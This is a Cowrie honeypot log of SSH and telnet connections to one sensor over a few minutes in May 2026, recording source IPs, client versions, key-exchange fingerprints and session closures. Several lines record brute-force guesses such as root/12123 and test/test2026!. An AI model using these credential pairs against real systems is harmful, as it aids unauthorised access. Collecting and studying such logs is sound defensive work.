{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:47:40.508064Z","src_ip":"121.122.119.48","session":"58e5451f1b48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12123","message":"login attempt [root/12123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:47:41.500076Z","src_ip":"121.122.119.48","session":"58e5451f1b48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:47:42.746027Z","src_ip":"121.122.119.48","session":"58e5451f1b48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":54236,"dst_ip":"10.17.0.5","dst_port":23,"session":"838a8e028ddc","protocol":"telnet","message":"New connection: 24.199.85.165:54236 (10.17.0.5:23) [session: 838a8e028ddc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:47:43.763153Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":54250,"dst_ip":"10.17.0.5","dst_port":23,"session":"717a30b69f4d","protocol":"telnet","message":"New connection: 24.199.85.165:54250 (10.17.0.5:23) [session: 717a30b69f4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:47:44.223750Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":54266,"dst_ip":"10.17.0.5","dst_port":23,"session":"6067918bf897","protocol":"telnet","message":"New connection: 24.199.85.165:54266 (10.17.0.5:23) [session: 6067918bf897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:47:47.294070Z"}
{"eventid":"cowrie.session.closed","duration":30.713228702545166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:47:51.621907Z","src_ip":"24.199.85.165","session":"d698b29c56f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":34378,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe5de65d7c39","protocol":"telnet","message":"New connection: 24.199.85.165:34378 (10.17.0.5:23) [session: fe5de65d7c39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:47:53.197543Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":37694,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd8990b20fa5","protocol":"telnet","message":"New connection: 185.26.126.47:37694 (159.203.135.109:23) [session: fd8990b20fa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:47:54.845290Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":34390,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5dadc0e0a28","protocol":"telnet","message":"New connection: 24.199.85.165:34390 (10.17.0.5:23) [session: b5dadc0e0a28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:47:58.340653Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":49840,"dst_ip":"10.17.0.5","dst_port":23,"session":"135278318a09","protocol":"telnet","message":"New connection: 24.199.85.165:49840 (10.17.0.5:23) [session: 135278318a09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:48:05.979837Z"}
{"eventid":"cowrie.session.closed","duration":35.32139277458191,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:48:08.806745Z","src_ip":"24.199.85.165","session":"54bc3872433f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.162.129.104","src_port":42740,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7d4146f33fb","protocol":"telnet","message":"New connection: 78.162.129.104:42740 (10.17.0.5:23) [session: b7d4146f33fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:48:15.493858Z"}
{"eventid":"cowrie.session.closed","duration":31.74733805656433,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:48:15.510377Z","src_ip":"24.199.85.165","session":"838a8e028ddc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.154196977615356,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:48:17.377829Z","src_ip":"24.199.85.165","session":"717a30b69f4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.162.129.104","src_port":43232,"dst_ip":"10.17.0.5","dst_port":23,"session":"5beedc2b0dde","protocol":"telnet","message":"New connection: 78.162.129.104:43232 (10.17.0.5:23) [session: 5beedc2b0dde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:48:18.715759Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.162.129.104","src_port":43778,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6f134cefeee","protocol":"telnet","message":"New connection: 78.162.129.104:43778 (10.17.0.5:23) [session: a6f134cefeee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:48:19.173504Z"}
{"eventid":"cowrie.session.closed","duration":35.50106930732727,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:48:22.795007Z","src_ip":"24.199.85.165","session":"6067918bf897","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.5353581905365,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:48:25.732820Z","src_ip":"24.199.85.165","session":"fe5de65d7c39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.33216118812561,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:48:29.672721Z","src_ip":"24.199.85.165","session":"b5dadc0e0a28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.712559461593628,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:48:35.428236Z","src_ip":"78.162.129.104","session":"5beedc2b0dde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77163553237915,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:48:36.751353Z","src_ip":"24.199.85.165","session":"135278318a09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.10310482978821,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:48:39.948020Z","src_ip":"185.26.126.47","session":"fd8990b20fa5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":57010,"dst_ip":"10.17.0.5","dst_port":23,"session":"49abdad5188e","protocol":"telnet","message":"New connection: 24.199.85.165:57010 (10.17.0.5:23) [session: 49abdad5188e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:48:40.451079Z"}
{"eventid":"cowrie.session.connect","src_ip":"121.122.119.48","src_port":60850,"dst_ip":"159.203.135.109","dst_port":22,"session":"e076d9b2fbba","protocol":"ssh","message":"New connection: 121.122.119.48:60850 (159.203.135.109:22) [session: e076d9b2fbba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:48:40.614482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:48:40.619447Z","src_ip":"121.122.119.48","session":"e076d9b2fbba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:48:40.854176Z","src_ip":"121.122.119.48","session":"e076d9b2fbba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jz123","message":"login attempt [root/jz123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:48:41.824612Z","src_ip":"121.122.119.48","session":"e076d9b2fbba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:48:43.062146Z","src_ip":"121.122.119.48","session":"e076d9b2fbba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":35492,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bdbcb8df842","protocol":"telnet","message":"New connection: 24.199.85.165:35492 (10.17.0.5:23) [session: 7bdbcb8df842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:48:53.469908Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":35496,"dst_ip":"10.17.0.5","dst_port":23,"session":"86f160c5ba56","protocol":"telnet","message":"New connection: 24.199.85.165:35496 (10.17.0.5:23) [session: 86f160c5ba56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:48:56.002839Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":53366,"dst_ip":"10.17.0.5","dst_port":23,"session":"c94353bc209a","protocol":"telnet","message":"New connection: 24.199.85.165:53366 (10.17.0.5:23) [session: c94353bc209a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:49:03.082763Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":53378,"dst_ip":"10.17.0.5","dst_port":23,"session":"6217700ac3d7","protocol":"telnet","message":"New connection: 24.199.85.165:53378 (10.17.0.5:23) [session: 6217700ac3d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:49:06.883386Z"}
{"eventid":"cowrie.session.closed","duration":31.946954488754272,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:49:12.397932Z","src_ip":"24.199.85.165","session":"49abdad5188e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":37350,"dst_ip":"10.17.0.5","dst_port":23,"session":"353836e4628b","protocol":"telnet","message":"New connection: 24.199.85.165:37350 (10.17.0.5:23) [session: 353836e4628b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:49:13.736848Z"}
{"eventid":"cowrie.session.closed","duration":31.993042707443237,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:49:27.995761Z","src_ip":"24.199.85.165","session":"86f160c5ba56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.10307002067566,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:49:31.572794Z","src_ip":"24.199.85.165","session":"7bdbcb8df842","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.12127637863159,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:49:37.203889Z","src_ip":"24.199.85.165","session":"c94353bc209a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4330837726593,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:49:37.316369Z","src_ip":"24.199.85.165","session":"6217700ac3d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.141.59.195","src_port":37008,"dst_ip":"159.203.135.109","dst_port":22,"session":"b04e6ab20041","protocol":"ssh","message":"New connection: 114.141.59.195:37008 (159.203.135.109:22) [session: b04e6ab20041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:49:37.545511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:49:37.550193Z","src_ip":"114.141.59.195","session":"b04e6ab20041","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:49:37.790081Z","src_ip":"114.141.59.195","session":"b04e6ab20041","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test2026!","message":"login attempt [test/test2026!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:49:38.793034Z","src_ip":"114.141.59.195","session":"b04e6ab20041","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:49:40.290953Z","src_ip":"114.141.59.195","session":"b04e6ab20041","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.122.119.48","src_port":41545,"dst_ip":"159.203.135.109","dst_port":22,"session":"a23546c1161b","protocol":"ssh","message":"New connection: 121.122.119.48:41545 (159.203.135.109:22) [session: a23546c1161b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:49:42.712802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:49:42.717636Z","src_ip":"121.122.119.48","session":"a23546c1161b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:49:42.979734Z","src_ip":"121.122.119.48","session":"a23546c1161b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"accounts","message":"login attempt [root/accounts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:49:44.058081Z","src_ip":"121.122.119.48","session":"a23546c1161b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.293426513671875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:49:45.030142Z","src_ip":"24.199.85.165","session":"353836e4628b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:49:45.321827Z","src_ip":"121.122.119.48","session":"a23546c1161b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":42952,"dst_ip":"10.17.0.5","dst_port":23,"session":"12ca84cf3308","protocol":"telnet","message":"New connection: 24.199.85.165:42952 (10.17.0.5:23) [session: 12ca84cf3308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:49:47.951163Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":42962,"dst_ip":"10.17.0.5","dst_port":23,"session":"1206251bcb3e","protocol":"telnet","message":"New connection: 24.199.85.165:42962 (10.17.0.5:23) [session: 1206251bcb3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:49:50.652678Z"}
{"eventid":"cowrie.session.closed","duration":120.00189971923828,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:50:15.495662Z","src_ip":"78.162.129.104","session":"b7d4146f33fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.162.129.104","src_port":35328,"dst_ip":"10.17.0.5","dst_port":23,"session":"70df23dea588","protocol":"telnet","message":"New connection: 78.162.129.104:35328 (10.17.0.5:23) [session: 70df23dea588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:50:16.908485Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":44756,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9bfee02ab0e","protocol":"telnet","message":"New connection: 24.199.85.165:44756 (10.17.0.5:23) [session: a9bfee02ab0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:50:18.687445Z"}
{"eventid":"cowrie.session.closed","duration":120.00193166732788,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:50:19.175327Z","src_ip":"78.162.129.104","session":"a6f134cefeee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.60815668106079,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:50:20.559217Z","src_ip":"24.199.85.165","session":"12ca84cf3308","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.8865864276886,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:50:24.539163Z","src_ip":"24.199.85.165","session":"1206251bcb3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":47288,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4ae114be395","protocol":"telnet","message":"New connection: 24.199.85.165:47288 (10.17.0.5:23) [session: e4ae114be395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:50:35.539759Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":59674,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8c2ce24f61e","protocol":"telnet","message":"New connection: 24.199.85.165:59674 (10.17.0.5:23) [session: f8c2ce24f61e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:50:43.869688Z"}
{"eventid":"cowrie.session.connect","src_ip":"121.122.119.48","src_port":50473,"dst_ip":"159.203.135.109","dst_port":22,"session":"cda200ed1d7e","protocol":"ssh","message":"New connection: 121.122.119.48:50473 (159.203.135.109:22) [session: cda200ed1d7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:50:45.682675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:50:45.690597Z","src_ip":"121.122.119.48","session":"cda200ed1d7e","protocol":"ssh"}
